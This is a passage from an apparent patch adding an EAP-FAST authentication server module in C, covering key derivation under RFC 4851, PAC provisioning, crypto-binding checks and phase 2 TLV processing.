EAP-FAST uses reverse order for MS-MPPE keys when deriving + * MSK from EAP-MSCHAPv2. Swap the keys here to get the correct + * ISK for EAP-FAST cryptobinding. + */ + os_memcpy(isk, key + 16, 16); + os_memcpy(isk + 16, key, 16); + } else + os_memcpy(isk, key, key_len); + os_free(key); + + return 0; +} + + +static int eap_fast_update_icmk(struct eap_sm *sm, struct eap_fast_data *data) +{ + u8 isk[32], imck[60]; + + wpa_printf(MSG_DEBUG, "EAP-FAST: Deriving ICMK[%d] (S-IMCK and CMK)", + data->simck_idx + 1); + + /* + * RFC 4851, Section 5.2: + * IMCK[j] = T-PRF(S-IMCK[j-1], "Inner Methods Compound Keys", + * MSK[j], 60) + * S-IMCK[j] = first 40 octets of IMCK[j] + * CMK[j] = last 20 octets of IMCK[j] + */ + + if (eap_fast_get_phase2_key(sm, data, isk, sizeof(isk)) < 0) + return -1; + wpa_hexdump_key(MSG_MSGDUMP, "EAP-FAST: ISK[j]", isk, sizeof(isk)); + sha1_t_prf(data->simck, EAP_FAST_SIMCK_LEN, + "Inner Methods Compound Keys", + isk, sizeof(isk), imck, sizeof(imck)); + data->simck_idx++; + os_memcpy(data->simck, imck, EAP_FAST_SIMCK_LEN); + wpa_hexdump_key(MSG_MSGDUMP, "EAP-FAST: S-IMCK[j]", + data->simck, EAP_FAST_SIMCK_LEN); + os_memcpy(data->cmk, imck + EAP_FAST_SIMCK_LEN, EAP_FAST_CMK_LEN); + wpa_hexdump_key(MSG_MSGDUMP, "EAP-FAST: CMK[j]", + data->cmk, EAP_FAST_CMK_LEN); + + return 0; +} + + +static void * eap_fast_init(struct eap_sm *sm) +{ + struct eap_fast_data *data; + u8 ciphers[5] = { + TLS_CIPHER_ANON_DH_AES128_SHA, + TLS_CIPHER_AES128_SHA, + TLS_CIPHER_RSA_DHE_AES128_SHA, + TLS_CIPHER_RC4_SHA, + TLS_CIPHER_NONE + }; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->fast_version = EAP_FAST_VERSION; + data->force_version = -1; + if (sm->user && sm->user->force_version >= 0) { + data->force_version = sm->user->force_version; + wpa_printf(MSG_DEBUG, "EAP-FAST: forcing version %d", + data->force_version); + data->fast_version = data->force_version; + } + data->state = START; + + if (eap_server_tls_ssl_init(sm, &data->ssl, 0)) { + wpa_printf(MSG_INFO, "EAP-FAST: Failed to initialize SSL."); + eap_fast_reset(sm, data); + return NULL; + } + + if (tls_connection_set_cipher_list(sm->ssl_ctx, data->ssl.conn, + ciphers) < 0) { + wpa_printf(MSG_INFO, "EAP-FAST: Failed to set TLS cipher " + "suites"); + eap_fast_reset(sm, data); + return NULL; + } + + if (tls_connection_set_session_ticket_cb(sm->ssl_ctx, data->ssl.conn, + eap_fast_session_ticket_cb, + data) < 0) { + wpa_printf(MSG_INFO, "EAP-FAST: Failed to set SessionTicket " + "callback"); + eap_fast_reset(sm, data); + return NULL; + } + + if (sm->pac_opaque_encr_key == NULL) { + wpa_printf(MSG_INFO, "EAP-FAST: No PAC-Opaque encryption key " + "configured"); + eap_fast_reset(sm, data); + return NULL; + } + os_memcpy(data->pac_opaque_encr, sm->pac_opaque_encr_key, + sizeof(data->pac_opaque_encr)); + + if (sm->eap_fast_a_id == NULL) { + wpa_printf(MSG_INFO, "EAP-FAST: No A-ID configured"); + eap_fast_reset(sm, data); + return NULL; + } + data->srv_id = os_malloc(sm->eap_fast_a_id_len); + if (data->srv_id == NULL) { + eap_fast_reset(sm, data); + return NULL; + } + os_memcpy(data->srv_id, sm->eap_fast_a_id, sm->eap_fast_a_id_len); + data->srv_id_len = sm->eap_fast_a_id_len; + + if (sm->eap_fast_a_id_info == NULL) { + wpa_printf(MSG_INFO, "EAP-FAST: No A-ID-Info configured"); + eap_fast_reset(sm, data); + return NULL; + } + data->srv_id_info = os_strdup(sm->eap_fast_a_id_info); + if (data->srv_id_info == NULL) { + eap_fast_reset(sm, data); + return NULL; + } + + /* PAC-Key lifetime in seconds (hard limit) */ + data->pac_key_lifetime = sm->pac_key_lifetime; + + /* + * PAC-Key refresh time in seconds (soft limit on remaining hard + * limit). The server will generate a new PAC-Key when this number of + * seconds (or fewer) of the lifetime remains. + */ + data->pac_key_refresh_time = sm->pac_key_refresh_time; + + return data; +} + + +static void eap_fast_reset(struct eap_sm *sm, void *priv) +{ + struct eap_fast_data *data = priv; + if (data == NULL) + return; + if (data->phase2_priv && data->phase2_method) + data->phase2_method->reset(sm, data->phase2_priv); + eap_server_tls_ssl_deinit(sm, &data->ssl); + os_free(data->srv_id); + os_free(data->srv_id_info); + os_free(data->key_block_p); + wpabuf_free(data->pending_phase2_resp); + os_free(data->identity); + os_free(data); +} + + +static struct wpabuf * eap_fast_build_start(struct eap_sm *sm, + struct eap_fast_data *data, u8 id) +{ + struct wpabuf *req; + + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_FAST, + 1 + sizeof(struct pac_tlv_hdr) + data->srv_id_len, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-FAST: Failed to allocate memory for" + " request"); + eap_fast_state(data, FAILURE); + return NULL; + } + + wpabuf_put_u8(req, EAP_TLS_FLAGS_START | data->fast_version); + + /* RFC 4851, 4.1.1. Authority ID Data */ + eap_fast_put_tlv(req, PAC_TYPE_A_ID, data->srv_id, data->srv_id_len); + + eap_fast_state(data, PHASE1); + + return req; +} + + +static int eap_fast_phase1_done(struct eap_sm *sm, struct eap_fast_data *data) +{ + char cipher[64]; + + wpa_printf(MSG_DEBUG, "EAP-FAST: Phase1 done, starting Phase2"); + + if (tls_get_cipher(sm->ssl_ctx, data->ssl.conn, cipher, sizeof(cipher)) + < 0) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Failed to get cipher " + "information"); + eap_fast_state(data, FAILURE); + return -1; + } + data->anon_provisioning = os_strstr(cipher, "ADH") != NULL; + + if (data->anon_provisioning) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Anonymous provisioning"); + eap_fast_derive_key_provisioning(sm, data); + } else + eap_fast_derive_key_auth(sm, data); + + eap_fast_state(data, PHASE2_START); + + return 0; +} + + +static struct wpabuf * eap_fast_build_phase2_req(struct eap_sm *sm, + struct eap_fast_data *data, + u8 id) +{ + struct wpabuf *req; + + if (data->phase2_priv == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Phase 2 method not " + "initialized"); + return NULL; + } + req = data->phase2_method->buildReq(sm, data->phase2_priv, id); + if (req == NULL) + return NULL; + + wpa_hexdump_buf_key(MSG_MSGDUMP, "EAP-FAST: Phase 2 EAP-Request", req); + return eap_fast_tlv_eap_payload(req); +} + + +static struct wpabuf * eap_fast_build_crypto_binding( + struct eap_sm *sm, struct eap_fast_data *data) +{ + struct wpabuf *buf; + struct eap_tlv_result_tlv *result; + struct eap_tlv_crypto_binding_tlv *binding; + + buf = wpabuf_alloc(2 * sizeof(*result) + sizeof(*binding)); + if (buf == NULL) + return NULL; + + if (data->send_new_pac || data->anon_provisioning || + data->phase2_method) + data->final_result = 0; + else + data->final_result = 1; + + if (!data->final_result || data->eap_seq > 1) { + /* Intermediate-Result */ + wpa_printf(MSG_DEBUG, "EAP-FAST: Add Intermediate-Result TLV " + "(status=SUCCESS)"); + result = wpabuf_put(buf, sizeof(*result)); + result->tlv_type = host_to_be16( + EAP_TLV_TYPE_MANDATORY | + EAP_TLV_INTERMEDIATE_RESULT_TLV); + result->length = host_to_be16(2); + result->status = host_to_be16(EAP_TLV_RESULT_SUCCESS); + } + + if (data->final_result) { + /* Result TLV */ + wpa_printf(MSG_DEBUG, "EAP-FAST: Add Result TLV " + "(status=SUCCESS)"); + result = wpabuf_put(buf, sizeof(*result)); + result->tlv_type = host_to_be16(EAP_TLV_TYPE_MANDATORY | + EAP_TLV_RESULT_TLV); + result->length = host_to_be16(2); + result->status = host_to_be16(EAP_TLV_RESULT_SUCCESS); + } + + /* Crypto-Binding TLV */ + binding = wpabuf_put(buf, sizeof(*binding)); + binding->tlv_type = host_to_be16(EAP_TLV_TYPE_MANDATORY | + EAP_TLV_CRYPTO_BINDING_TLV); + binding->length = host_to_be16(sizeof(*binding) - + sizeof(struct eap_tlv_hdr)); + binding->version = EAP_FAST_VERSION; + binding->received_version = data->peer_version; + binding->subtype = EAP_TLV_CRYPTO_BINDING_SUBTYPE_REQUEST; + if (random_get_bytes(binding->nonce, sizeof(binding->nonce)) < 0) { + wpabuf_free(buf); + return NULL; + } + + /* + * RFC 4851, Section 4.2.8: + * The nonce in a request MUST have its least significant bit set to 0. + */ + binding->nonce[sizeof(binding->nonce) - 1] &= ~0x01; + + os_memcpy(data->crypto_binding_nonce, binding->nonce, + sizeof(binding->nonce)); + + /* + * RFC 4851, Section 5.3: + * CMK = CMK[j] + * Compound-MAC = HMAC-SHA1( CMK, Crypto-Binding TLV ) + */ + + hmac_sha1(data->cmk, EAP_FAST_CMK_LEN, + (u8 *) binding, sizeof(*binding), + binding->compound_mac); + + wpa_printf(MSG_DEBUG, "EAP-FAST: Add Crypto-Binding TLV: Version %d " + "Received Version %d SubType %d", + binding->version, binding->received_version, + binding->subtype); + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: NONCE", + binding->nonce, sizeof(binding->nonce)); + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: Compound MAC", + binding->compound_mac, sizeof(binding->compound_mac)); + + return buf; +} + + +static struct wpabuf * eap_fast_build_pac(struct eap_sm *sm, + struct eap_fast_data *data) +{ + u8 pac_key[EAP_FAST_PAC_KEY_LEN]; + u8 *pac_buf, *pac_opaque; + struct wpabuf *buf; + u8 *pos; + size_t buf_len, srv_id_info_len, pac_len; + struct eap_tlv_hdr *pac_tlv; + struct pac_tlv_hdr *pac_info; + struct eap_tlv_result_tlv *result; + struct os_time now; + + if (random_get_bytes(pac_key, EAP_FAST_PAC_KEY_LEN) < 0 || + os_get_time(&now) < 0) + return NULL; + wpa_hexdump_key(MSG_DEBUG, "EAP-FAST: Generated PAC-Key", + pac_key, EAP_FAST_PAC_KEY_LEN); + + pac_len = (2 + EAP_FAST_PAC_KEY_LEN) + (2 + 4) + + (2 + sm->identity_len) + 8; + pac_buf = os_malloc(pac_len); + if (pac_buf == NULL) + return NULL; + + srv_id_info_len = os_strlen(data->srv_id_info); + + pos = pac_buf; + *pos++ = PAC_OPAQUE_TYPE_KEY; + *pos++ = EAP_FAST_PAC_KEY_LEN; + os_memcpy(pos, pac_key, EAP_FAST_PAC_KEY_LEN); + pos += EAP_FAST_PAC_KEY_LEN; + + *pos++ = PAC_OPAQUE_TYPE_LIFETIME; + *pos++ = 4; + WPA_PUT_BE32(pos, now.sec + data->pac_key_lifetime); + pos += 4; + + if (sm->identity) { + *pos++ = PAC_OPAQUE_TYPE_IDENTITY; + *pos++ = sm->identity_len; + os_memcpy(pos, sm->identity, sm->identity_len); + pos += sm->identity_len; + } + + pac_len = pos - pac_buf; + while (pac_len % 8) { + *pos++ = PAC_OPAQUE_TYPE_PAD; + pac_len++; + } + + pac_opaque = os_malloc(pac_len + 8); + if (pac_opaque == NULL) { + os_free(pac_buf); + return NULL; + } + if (aes_wrap(data->pac_opaque_encr, pac_len / 8, pac_buf, + pac_opaque) < 0) { + os_free(pac_buf); + os_free(pac_opaque); + return NULL; + } + os_free(pac_buf); + + pac_len += 8; + wpa_hexdump(MSG_DEBUG, "EAP-FAST: PAC-Opaque", + pac_opaque, pac_len); + + buf_len = sizeof(*pac_tlv) + + sizeof(struct pac_tlv_hdr) + EAP_FAST_PAC_KEY_LEN + + sizeof(struct pac_tlv_hdr) + pac_len + + data->srv_id_len + srv_id_info_len + 100 + sizeof(*result); + buf = wpabuf_alloc(buf_len); + if (buf == NULL) { + os_free(pac_opaque); + return NULL; + } + + /* Result TLV */ + wpa_printf(MSG_DEBUG, "EAP-FAST: Add Result TLV (status=SUCCESS)"); + result = wpabuf_put(buf, sizeof(*result)); + WPA_PUT_BE16((u8 *) &result->tlv_type, + EAP_TLV_TYPE_MANDATORY | EAP_TLV_RESULT_TLV); + WPA_PUT_BE16((u8 *) &result->length, 2); + WPA_PUT_BE16((u8 *) &result->status, EAP_TLV_RESULT_SUCCESS); + + /* PAC TLV */ + wpa_printf(MSG_DEBUG, "EAP-FAST: Add PAC TLV"); + pac_tlv = wpabuf_put(buf, sizeof(*pac_tlv)); + pac_tlv->tlv_type = host_to_be16(EAP_TLV_TYPE_MANDATORY | + EAP_TLV_PAC_TLV); + + /* PAC-Key */ + eap_fast_put_tlv(buf, PAC_TYPE_PAC_KEY, pac_key, EAP_FAST_PAC_KEY_LEN); + + /* PAC-Opaque */ + eap_fast_put_tlv(buf, PAC_TYPE_PAC_OPAQUE, pac_opaque, pac_len); + os_free(pac_opaque); + + /* PAC-Info */ + pac_info = wpabuf_put(buf, sizeof(*pac_info)); + pac_info->type = host_to_be16(PAC_TYPE_PAC_INFO); + + /* PAC-Lifetime (inside PAC-Info) */ + eap_fast_put_tlv_hdr(buf, PAC_TYPE_CRED_LIFETIME, 4); + wpabuf_put_be32(buf, now.sec + data->pac_key_lifetime); + + /* A-ID (inside PAC-Info) */ + eap_fast_put_tlv(buf, PAC_TYPE_A_ID, data->srv_id, data->srv_id_len); + + /* Note: headers may be misaligned after A-ID */ + + if (sm->identity) { + eap_fast_put_tlv(buf, PAC_TYPE_I_ID, sm->identity, + sm->identity_len); + } + + /* A-ID-Info (inside PAC-Info) */ + eap_fast_put_tlv(buf, PAC_TYPE_A_ID_INFO, data->srv_id_info, + srv_id_info_len); + + /* PAC-Type (inside PAC-Info) */ + eap_fast_put_tlv_hdr(buf, PAC_TYPE_PAC_TYPE, 2); + wpabuf_put_be16(buf, PAC_TYPE_TUNNEL_PAC); + + /* Update PAC-Info and PAC TLV Length fields */ + pos = wpabuf_put(buf, 0); + pac_info->len = host_to_be16(pos - (u8 *) (pac_info + 1)); + pac_tlv->length = host_to_be16(pos - (u8 *) (pac_tlv + 1)); + + return buf; +} + + +static int eap_fast_encrypt_phase2(struct eap_sm *sm, + struct eap_fast_data *data, + struct wpabuf *plain, int piggyback) +{ + struct wpabuf *encr; + + wpa_hexdump_buf_key(MSG_DEBUG, "EAP-FAST: Encrypting Phase 2 TLVs", + plain); + encr = eap_server_tls_encrypt(sm, &data->ssl, plain); + wpabuf_free(plain); + + if (data->ssl.tls_out && piggyback) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Piggyback Phase 2 data " + "(len=%d) with last Phase 1 Message (len=%d " + "used=%d)", + (int) wpabuf_len(encr), + (int) wpabuf_len(data->ssl.tls_out), + (int) data->ssl.tls_out_pos); + if (wpabuf_resize(&data->ssl.tls_out, wpabuf_len(encr)) < 0) { + wpa_printf(MSG_WARNING, "EAP-FAST: Failed to resize " + "output buffer"); + wpabuf_free(encr); + return -1; + } + wpabuf_put_buf(data->ssl.tls_out, encr); + wpabuf_free(encr); + } else { + wpabuf_free(data->ssl.tls_out); + data->ssl.tls_out_pos = 0; + data->ssl.tls_out = encr; + } + + return 0; +} + + +static struct wpabuf * eap_fast_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_fast_data *data = priv; + struct wpabuf *req = NULL; + int piggyback = 0; + + if (data->ssl.state == FRAG_ACK) { + return eap_server_tls_build_ack(id, EAP_TYPE_FAST, + data->fast_version); + } + + if (data->ssl.state == WAIT_FRAG_ACK) { + return eap_server_tls_build_msg(&data->ssl, EAP_TYPE_FAST, + data->fast_version, id); + } + + switch (data->state) { + case START: + return eap_fast_build_start(sm, data, id); + case PHASE1: + if (tls_connection_established(sm->ssl_ctx, data->ssl.conn)) { + if (eap_fast_phase1_done(sm, data) < 0) + return NULL; + if (data->state == PHASE2_START) { + /* + * Try to generate Phase 2 data to piggyback + * with the end of Phase 1 to avoid extra + * roundtrip. + */ + wpa_printf(MSG_DEBUG, "EAP-FAST: Try to start " + "Phase 2"); + if (eap_fast_process_phase2_start(sm, data)) + break; + req = eap_fast_build_phase2_req(sm, data, id); + piggyback = 1; + } + } + break; + case PHASE2_ID: + case PHASE2_METHOD: + req = eap_fast_build_phase2_req(sm, data, id); + break; + case CRYPTO_BINDING: + req = eap_fast_build_crypto_binding(sm, data); + if (data->phase2_method) { + /* + * Include the start of the next EAP method in the + * sequence in the same message with Crypto-Binding to + * save a round-trip. + */ + struct wpabuf *eap; + eap = eap_fast_build_phase2_req(sm, data, id); + req = wpabuf_concat(req, eap); + eap_fast_state(data, PHASE2_METHOD); + } + break; + case REQUEST_PAC: + req = eap_fast_build_pac(sm, data); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-FAST: %s - unexpected state %d", + __func__, data->state); + return NULL; + } + + if (req && + eap_fast_encrypt_phase2(sm, data, req, piggyback) < 0) + return NULL; + + return eap_server_tls_build_msg(&data->ssl, EAP_TYPE_FAST, + data->fast_version, id); +} + + +static Boolean eap_fast_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_FAST, respData, &len); + if (pos == NULL || len < 1) { + wpa_printf(MSG_INFO, "EAP-FAST: Invalid frame"); + return TRUE; + } + + return FALSE; +} + + +static int eap_fast_phase2_init(struct eap_sm *sm, struct eap_fast_data *data, + EapType eap_type) +{ + if (data->phase2_priv && data->phase2_method) { + data->phase2_method->reset(sm, data->phase2_priv); + data->phase2_method = NULL; + data->phase2_priv = NULL; + } + data->phase2_method = eap_server_get_eap_method(EAP_VENDOR_IETF, + eap_type); + if (!data->phase2_method) + return -1; + + if (data->key_block_p) { + sm->auth_challenge = data->key_block_p->server_challenge; + sm->peer_challenge = data->key_block_p->client_challenge; + } + sm->init_phase2 = 1; + data->phase2_priv = data->phase2_method->init(sm); + sm->init_phase2 = 0; + sm->auth_challenge = NULL; + sm->peer_challenge = NULL; + + return data->phase2_priv == NULL ? -1 : 0; +} + + +static void eap_fast_process_phase2_response(struct eap_sm *sm, + struct eap_fast_data *data, + u8 *in_data, size_t in_len) +{ + u8 next_type = EAP_TYPE_NONE; + struct eap_hdr *hdr; + u8 *pos; + size_t left; + struct wpabuf buf; + const struct eap_method *m = data->phase2_method; + void *priv = data->phase2_priv; + + if (priv == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: %s - Phase2 not " + "initialized?!", __func__); + return; + } + + hdr = (struct eap_hdr *) in_data; + pos = (u8 *) (hdr + 1); + + if (in_len > sizeof(*hdr) && *pos == EAP_TYPE_NAK) { + left = in_len - sizeof(*hdr); + wpa_hexdump(MSG_DEBUG, "EAP-FAST: Phase2 type Nak'ed; " + "allowed types", pos + 1, left - 1); +#ifdef EAP_SERVER_TNC + if (m && m->vendor == EAP_VENDOR_IETF && + m->method == EAP_TYPE_TNC) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Peer Nak'ed required " + "TNC negotiation"); + next_type = eap_fast_req_failure(sm, data); + eap_fast_phase2_init(sm, data, next_type); + return; + } +#endif /* EAP_SERVER_TNC */ + eap_sm_process_nak(sm, pos + 1, left - 1); + if (sm->user && sm->user_eap_method_index < EAP_MAX_METHODS && + sm->user->methods[sm->user_eap_method_index].method != + EAP_TYPE_NONE) { + next_type = sm->user->methods[ + sm->user_eap_method_index++].method; + wpa_printf(MSG_DEBUG, "EAP-FAST: try EAP type %d", + next_type); + } else { + next_type = eap_fast_req_failure(sm, data); + } + eap_fast_phase2_init(sm, data, next_type); + return; + } + + wpabuf_set(&buf, in_data, in_len); + + if (m->check(sm, priv, &buf)) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Phase2 check() asked to " + "ignore the packet"); + next_type = eap_fast_req_failure(sm, data); + return; + } + + m->process(sm, priv, &buf); + + if (!m->isDone(sm, priv)) + return; + + if (!m->isSuccess(sm, priv)) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Phase2 method failed"); + next_type = eap_fast_req_failure(sm, data); + eap_fast_phase2_init(sm, data, next_type); + return; + } + + switch (data->state) { + case PHASE2_ID: + if (eap_user_get(sm, sm->identity, sm->identity_len, 1) != 0) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP-FAST: Phase2 " + "Identity not found in the user " + "database", + sm->identity, sm->identity_len); + next_type = eap_fast_req_failure(sm, data); + break; + } + + eap_fast_state(data, PHASE2_METHOD); + if (data->anon_provisioning) { + /* + * Only EAP-MSCHAPv2 is allowed for anonymous + * provisioning. + */ + next_type = EAP_TYPE_MSCHAPV2; + sm->user_eap_method_index = 0; + } else { + next_type = sm->user->methods[0].method; + sm->user_eap_method_index = 1; + } + wpa_printf(MSG_DEBUG, "EAP-FAST: try EAP type %d", next_type); + break; + case PHASE2_METHOD: + case CRYPTO_BINDING: + eap_fast_update_icmk(sm, data); + eap_fast_state(data, CRYPTO_BINDING); + data->eap_seq++; + next_type = EAP_TYPE_NONE; +#ifdef EAP_SERVER_TNC + if (sm->tnc && !data->tnc_started) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Initialize TNC"); + next_type = EAP_TYPE_TNC; + data->tnc_started = 1; + } +#endif /* EAP_SERVER_TNC */ + break; + case FAILURE: + break; + default: + wpa_printf(MSG_DEBUG, "EAP-FAST: %s - unexpected state %d", + __func__, data->state); + break; + } + + eap_fast_phase2_init(sm, data, next_type); +} + + +static void eap_fast_process_phase2_eap(struct eap_sm *sm, + struct eap_fast_data *data, + u8 *in_data, size_t in_len) +{ + struct eap_hdr *hdr; + size_t len; + + hdr = (struct eap_hdr *) in_data; + if (in_len < (int) sizeof(*hdr)) { + wpa_printf(MSG_INFO, "EAP-FAST: Too short Phase 2 " + "EAP frame (len=%lu)", (unsigned long) in_len); + eap_fast_req_failure(sm, data); + return; + } + len = be_to_host16(hdr->length); + if (len > in_len) { + wpa_printf(MSG_INFO, "EAP-FAST: Length mismatch in " + "Phase 2 EAP frame (len=%lu hdr->length=%lu)", + (unsigned long) in_len, (unsigned long) len); + eap_fast_req_failure(sm, data); + return; + } + wpa_printf(MSG_DEBUG, "EAP-FAST: Received Phase 2: code=%d " + "identifier=%d length=%lu", hdr->code, hdr->identifier, + (unsigned long) len); + switch (hdr->code) { + case EAP_CODE_RESPONSE: + eap_fast_process_phase2_response(sm, data, (u8 *) hdr, len); + break; + default: + wpa_printf(MSG_INFO, "EAP-FAST: Unexpected code=%d in " + "Phase 2 EAP header", hdr->code); + break; + } +} + + +static int eap_fast_parse_tlvs(struct wpabuf *data, + struct eap_fast_tlv_parse *tlv) +{ + int mandatory, tlv_type, len, res; + u8 *pos, *end; + + os_memset(tlv, 0, sizeof(*tlv)); + + pos = wpabuf_mhead(data); + end = pos + wpabuf_len(data); + while (pos + 4 < end) { + mandatory = pos[0] & 0x80; + tlv_type = WPA_GET_BE16(pos) & 0x3fff; + pos += 2; + len = WPA_GET_BE16(pos); + pos += 2; + if (pos + len > end) { + wpa_printf(MSG_INFO, "EAP-FAST: TLV overflow"); + return -1; + } + wpa_printf(MSG_DEBUG, "EAP-FAST: Received Phase 2: " + "TLV type %d length %d%s", + tlv_type, len, mandatory ? " (mandatory)" : ""); + + res = eap_fast_parse_tlv(tlv, tlv_type, pos, len); + if (res == -2) + break; + if (res < 0) { + if (mandatory) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Nak unknown " + "mandatory TLV type %d", tlv_type); + /* TODO: generate Nak TLV */ + break; + } else { + wpa_printf(MSG_DEBUG, "EAP-FAST: Ignored " + "unknown optional TLV type %d", + tlv_type); + } + } + + pos += len; + } + + return 0; +} + + +static int eap_fast_validate_crypto_binding( + struct eap_fast_data *data, struct eap_tlv_crypto_binding_tlv *b, + size_t bind_len) +{ + u8 cmac[SHA1_MAC_LEN]; + + wpa_printf(MSG_DEBUG, "EAP-FAST: Reply Crypto-Binding TLV: " + "Version %d Received Version %d SubType %d", + b->version, b->received_version, b->subtype); + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: NONCE", + b->nonce, sizeof(b->nonce)); + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: Compound MAC", + b->compound_mac, sizeof(b->compound_mac)); + + if (b->version != EAP_FAST_VERSION || + b->received_version != EAP_FAST_VERSION) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Unexpected version " + "in Crypto-Binding: version %d " + "received_version %d", b->version, + b->received_version); + return -1; + } + + if (b->subtype != EAP_TLV_CRYPTO_BINDING_SUBTYPE_RESPONSE) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Unexpected subtype in " + "Crypto-Binding: %d", b->subtype); + return -1; + } + + if (os_memcmp(data->crypto_binding_nonce, b->nonce, 31) != 0 || + (data->crypto_binding_nonce[31] | 1) != b->nonce[31]) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Invalid nonce in " + "Crypto-Binding"); + return -1; + } + + os_memcpy(cmac, b->compound_mac, sizeof(cmac)); + os_memset(b->compound_mac, 0, sizeof(cmac)); + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: Crypto-Binding TLV for " + "Compound MAC calculation", + (u8 *) b, bind_len); + hmac_sha1(data->cmk, EAP_FAST_CMK_LEN, (u8 *) b, bind_len, + b->compound_mac); + if (os_memcmp(cmac, b->compound_mac, sizeof(cmac)) != 0) { + wpa_hexdump(MSG_MSGDUMP, + "EAP-FAST: Calculated Compound MAC", + b->compound_mac, sizeof(cmac)); + wpa_printf(MSG_INFO, "EAP-FAST: Compound MAC did not " + "match"); + return -1; + } + + return 0; +} + + +static int eap_fast_pac_type(u8 *pac, size_t len, u16 type) +{ + struct eap_tlv_pac_type_tlv *tlv; + + if (pac == NULL || len != sizeof(*tlv)) + return 0; + + tlv = (struct eap_tlv_pac_type_tlv *) pac; + + return be_to_host16(tlv->tlv_type) == PAC_TYPE_PAC_TYPE && + be_to_host16(tlv->length) == 2 && + be_to_host16(tlv->pac_type) == type; +} + + +static void eap_fast_process_phase2_tlvs(struct eap_sm *sm, + struct eap_fast_data *data, + struct wpabuf *in_data) +{ + struct eap_fast_tlv_parse tlv; + int check_crypto_binding = data->state == CRYPTO_BINDING; + + if (eap_fast_parse_tlvs(in_data, &tlv) < 0) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Failed to parse received " + "Phase 2 TLVs"); + return; + } + + if (tlv.result == EAP_TLV_RESULT_FAILURE) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Result TLV indicated " + "failure"); + eap_fast_state(data, FAILURE); + return; + } + + if (data->state == REQUEST_PAC) { + u16 type, len, res; + if (tlv.pac == NULL || tlv.pac_len < 6) { + wpa_printf(MSG_DEBUG, "EAP-FAST: No PAC " + "Acknowledgement received"); + eap_fast_state(data, FAILURE); + return; + } + + type = WPA_GET_BE16(tlv.pac); + len = WPA_GET_BE16(tlv.pac + 2); + res = WPA_GET_BE16(tlv.pac + 4); + + if (type != PAC_TYPE_PAC_ACKNOWLEDGEMENT || len != 2 || + res != EAP_TLV_RESULT_SUCCESS) { + wpa_printf(MSG_DEBUG, "EAP-FAST: PAC TLV did not " + "contain acknowledgement"); + eap_fast_state(data, FAILURE); + return; + } + + wpa_printf(MSG_DEBUG, "EAP-FAST: PAC-Acknowledgement received " + "- PAC provisioning succeeded"); + eap_fast_state(data, (data->anon_provisioning || + data->send_new_pac == 2) ? + FAILURE : SUCCESS); + return; + } + + if (check_crypto_binding) { + if (tlv.crypto_binding == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: No Crypto-Binding " + "TLV received"); + eap_fast_state(data, FAILURE); + return; + } + + if (data->final_result && + tlv.result != EAP_TLV_RESULT_SUCCESS) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Crypto-Binding TLV " + "without Success Result"); + eap_fast_state(data, FAILURE); + return; + } + + if (!data->final_result && + tlv.iresult != EAP_TLV_RESULT_SUCCESS) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Crypto-Binding TLV " + "without intermediate Success Result"); + eap_fast_state(data, FAILURE); + return; + } + + if (eap_fast_validate_crypto_binding(data, tlv.crypto_binding, + tlv.crypto_binding_len)) { + eap_fast_state(data, FAILURE); + return; + } + + wpa_printf(MSG_DEBUG, "EAP-FAST: Valid Crypto-Binding TLV " + "received"); + if (data->final_result) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Authentication " + "completed successfully"); + } + + if (data->anon_provisioning && + sm->eap_fast_prov != ANON_PROV && + sm->eap_fast_prov != BOTH_PROV) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Client is trying to " + "use unauthenticated provisioning which is " + "disabled"); + eap_fast_state(data, FAILURE); + return; + } + + if (sm->eap_fast_prov != AUTH_PROV && + sm->eap_fast_prov != BOTH_PROV && + tlv.request_action == EAP_TLV_ACTION_PROCESS_TLV && + eap_fast_pac_type(tlv.pac, tlv.pac_len, + PAC_TYPE_TUNNEL_PAC)) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Client is trying to " + "use authenticated provisioning which is " + "disabled"); + eap_fast_state(data, FAILURE); + return; + } + + if (data->anon_provisioning || + (tlv.request_action == EAP_TLV_ACTION_PROCESS_TLV && + eap_fast_pac_type(tlv.pac, tlv.pac_len, + PAC_TYPE_TUNNEL_PAC))) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Requested a new " + "Tunnel PAC"); + eap_fast_state(data, REQUEST_PAC); + } else if (data->send_new_pac) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Server triggered " + "re-keying of Tunnel PAC"); + eap_fast_state(data, REQUEST_PAC); + } else if (data->final_result) + eap_fast_state(data, SUCCESS); + } + + if (tlv.eap_payload_tlv) { + eap_fast_process_phase2_eap(sm, data, tlv.eap_payload_tlv, + tlv.eap_payload_tlv_len); + } +} + + +static void eap_fast_process_phase2(struct eap_sm *sm, + struct eap_fast_data *data, + struct wpabuf *in_buf) +{ + struct 